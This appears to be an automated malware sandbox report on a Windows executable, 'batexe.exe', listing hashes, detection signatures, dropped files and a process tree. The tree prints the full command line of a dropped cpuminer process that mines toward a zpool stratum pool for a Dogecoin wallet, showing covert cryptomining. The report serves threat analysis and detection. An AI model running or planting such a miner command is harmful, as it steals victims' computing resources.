73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
305s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 22:32

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4304	b2e.exe
3304	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/520-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 520 wrote to memory of 4304	520	batexe.exe	74
PID 520 wrote to memory of 4304	520	batexe.exe	74
PID 520 wrote to memory of 4304	520	batexe.exe	74
PID 4304 wrote to memory of 4860	4304	b2e.exe	75
PID 4304 wrote to memory of 4860	4304	b2e.exe	75
PID 4304 wrote to memory of 4860	4304	b2e.exe	75
PID 4860 wrote to memory of 3304	4860	cmd.exe	78
PID 4860 wrote to memory of 3304	4860	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:520
- C:\Users\Admin\AppData\Local\Temp\1364.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\1364.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\1364.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\19EC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1364.tmp\b2e.exe

Filesize
3.5MB

MD5
49c210be804776dbc98928ea9a0eecad

SHA1
ca419ccdbfa1c8f9a1aa528f6a7ac97fd8268161

SHA256
d2cc2c9f7414b102016bbf7be1bf8ccbb16ead7463dde5da92aa04023327b71f

SHA512
003b81810fb8f92f9c78927e605abb049d5d16ff9d30abd39539b3387f8fd9b2024d649c5ea58bca937dd8b95613f65b1bc24684638d1bbaf69d7449c2a06013

Download Submit
C:\Users\Admin\AppData\Local\Temp\1364.tmp\b2e.exe

Filesize
3.2MB

MD5
5bf988243e20030a7a3bb0331563aabe

SHA1
8a8f32bac69ea8baa51172e4d6d82906c81d90ac

SHA256
85177833ce117d203d8d625e34afc52f84c58197fe7ebcdeacbbb1edcfed50e7

SHA512
891a7b078fcc9c5529a83fbba0546c44807af15705911197e32514781d1f4622e763b1aa13dc104a536b40a022659378178a7872ca0f8af4630493b7ba1a958f

Download Submit
C:\Users\Admin\AppData\Local\Temp\19EC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
136KB

MD5
22eab2afa63ec8ffd636d920644e2c85

SHA1
47211642c6efe196931cfb801ff002dcab0895aa

SHA256
5b14a6ffaba857eccb3cdeec1c00cfa3e2b9e7731a25aace314a9a9cd2085501

SHA512
21ca27b67f5b75211a876c66f8c40cb3a1870e4481916d1f6f29df2a0fd663b7ecbdfb7a6ff9dbeeba49a9b732dfc0c1c6f98831ecfc399529317e9cdf4eb0f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
565KB

MD5
dab2562df5f62a807742268d09e946f8

SHA1
0ec42ab098b5ed672e8edf6fe9d34834932f9997

SHA256
badbffb65f65abcca06c7a591ed09b2f09965e225aa05d2a6b054fcb3f156f49

SHA512
51d2f328ec2d8f8d9bd9ec6382260fb6e717645df4adbd8c073be2975ae2a8ab45ea813566b7c0f9765d4cf39811dfdaa6c6f74a0cbdea04a603858fa5832362

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
114KB

MD5
849d49d937fd4bef0771a63662543be9

SHA1
ddafaf29b583d5ff43981e231a01b9518fc661c0

SHA256
8bcea5ecb1c8553e49a88169e7034255f69a405dbf28df2c11a404ecd754a06f

SHA512
9c836af98d49a04de0b780550fb53adb2edad64aa1e8f6cf108232791e63bf7b8df1b40e67c9a1f9a25e476a0180f4c0cf76424f02556f40e974fef5bfb8ff19

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
445KB

MD5
eff16a921fb7fc6a3299e918961194de

SHA1
e9c1b7622712f89585775b53bbc332ea40b70324

SHA256
8d1059006c2a2c8aae93f76de9cb8692a61987e28daebbc84579d39dc78544b9

SHA512
f863aff1d4b7feb12f545a381d5c5941dd0d944d7fae8204a41ecd5000487f39bd2389dbab84d66a7d33d3822bcfddee1c3de16c7066b8ce1658165609c5f765

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
59KB

MD5
109ecb063d4cef1b893d679c6751fb63

SHA1
33e1478e58e5a42622fca54e05f23ce5ad5f7f5d

SHA256
32ff8e030d8dc0ab8519cd53d5c66db9abf88d8f0f6807d5831552b61df9afcf

SHA512
83da54f0c4f41e9ce3531e6cb55e33b9645bd17b52f68e4202fda0eccb8f53f4dda07248b8b4c4a7e1ddc81bca7be0328d5e7adf3cfd33ded2054f64318f883b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
14KB

MD5
57bc28e77ba7f02252d5d1c6ebeb7e33

SHA1
03d31966e052d14ff5f92d69ceacf8fc886e003c

SHA256
094b3dcb3308d87ee8c065d27dc1e0ee818c68d37312bdbc03af9c88f20914aa

SHA512
c11bdf493da9bac705cf4d31330ad4bfe2e93c5aa6c0812c47906645e441981880cd651ab20b53e0e9770053d8e3b5a7acdd515ec74f6e16a8c2cdccf49229d4

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
245KB

MD5
b0e2c788f6efc2148e9571b83440cb67

SHA1
e0946507ca6b782e3976b6bea42dbcf0539f922b

SHA256
41a3b9b4cc5f09b0b965af3f752c5a88602ad145bc26509e1942faed2a7b5ecd

SHA512
5df17e995687d0de2ff37a968a3871c7f6e8d72376734a914e2f58ac6c133b7819cc02f4653287896205f95c1e46573cbc904a9bc351578fa43bda823d7f3a45

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
24KB

MD5
dc71444d85b400cdc89114f9648a5c1b

SHA1
bfb019f895b125eb98eca546038ce7c8e111c2e9

SHA256
8bb8fe07a3c4e66daa7f3378ea0c5746e1186788a77e968339540e1d4dfc88a9

SHA512
f2268bfd1d860e84b0d56805b60afd28f05092721822e122201ed00d9244f0abe857b4f111f013399e2ec6701db586a9abff401e12ecc771c9de4210c233b90f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
56KB

MD5
1f44bf3fbfb1f1ad438d585cd8be9a0c

SHA1
b1b0f35a11264d323135ca6900c1a4f0d31eced5

SHA256
7acba03f8ee97c6620eb1b46aa696cb841fda1d07f853e125bd3a3e1fff9ef55

SHA512
4d0aafda34a80174709df71cf7e36584330f20192cc7dd376044211ca4ed9b9815a55bbb7a48427f7816700d6f3800e43b1dc55672c90dd6f5f2bc7d06719817

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
42KB

MD5
cf6334a0029daab27161f40c5ad1959d

SHA1
a3d9591e9771121061af64f5efba5ad5e7fd7000

SHA256
eb0f7d163259d0c89151b7196cf9d4564255b225f5e5a7d71e36c5b46d5449c6

SHA512
73e615aedb8c2674a795bb87233465f3263b4c5d54582511235b5f37b2ac38ada8e04375ed0cd4a12486edfc6b656db30837f6f6607df75e66bd04e1bdc750cb

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
35KB

MD5
2ca57e795724aad7178c0c8badd64376

SHA1
99014d478bdb2a9ff8c4b2482920b219302f7d88

SHA256
38ebb79244030b861f717bd65004819caac1b4fe07e483e41682c47c462a56bd

SHA512
d364d8d7a4dfd91721b43958fba94f1df1a58ab7f7b6e634dd0a8ff7c432db68b3c07655019a7af787789d576fa9e90a3bd731077f170930fe0debaeff7f68f9

Download Submit
memory/520-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3304-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-53-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3304-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3304-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3304-43-0x0000000068830000-0x00000000688C8000-memory.dmp

Filesize
608KB

Download
memory/3304-44-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/3304-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4304-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4304-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download